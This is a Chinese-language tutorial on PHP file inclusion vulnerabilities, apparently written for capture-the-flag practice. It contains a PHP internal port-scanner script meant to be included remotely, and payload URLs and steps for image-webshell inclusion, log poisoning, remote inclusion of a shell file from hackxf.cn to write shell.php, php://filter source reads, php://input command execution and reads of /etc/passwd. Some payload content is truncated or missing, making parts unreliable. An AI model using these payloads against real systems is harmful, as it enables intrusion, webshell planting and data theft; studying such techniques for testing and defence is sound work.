1文件包含漏洞简介
include require include_once require_once
RFI综述
RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。
一下是一个扫描端口PHP,可以包含它来探测内网端口
php //echo ""; if(isset($_REQUEST['ip'])){ $ports = array(80,8080,21,443,3306,22,1,2,1433); $result = array(); foreach($ports as $port){ if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){ $result[$port] = true; fclose($pf); }else{ $result[$port] = false; } } foreach($result as $port=>$val){ $serv = @getservbyport($port, 'TCP'); echo "scan port " . $port . " (" . $serv . "):"; if($val){ //echo 'open'.'
'; echo "open
"; }else{ //echo 'close'.'
'; echo "close
"; } } } ?>
1.本地文件包含漏洞
2.远程文件包含漏洞
条件:php.ini文件中的allow_url_include=On
http://test.com/?page=http://www.baidu.com/index.html
1. 根目录下存在flag文件
C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径
3重要的利用手法
(1)包含上传的getshell
上传图片马,利用文件包含我们的图片马,菜刀连接
(2)包含日志文件getshell
burpsuite里面访问 http://127.0.0.1/ 为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
http://test.com/?page=../apache/logs/error.log
成功
(3)远程文件包含getshell
(4)远程文件包含写shell
包含hackxf.cn下面的get_shell.txt文件,内容
');
?>
访问当前目录下已经生成的shell.php文件
(5)PHP封装协议读取文件
1 php://filter/read=convert.base64-encode/resource=index.php 2 3 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php
(6)PHP封装协议命令执行
http://127.0.0.1/cmd.php?file=php://input
[POST DATA]
(7)file封装协议读取文件
http://test.com/?page=file://c:/flag.txt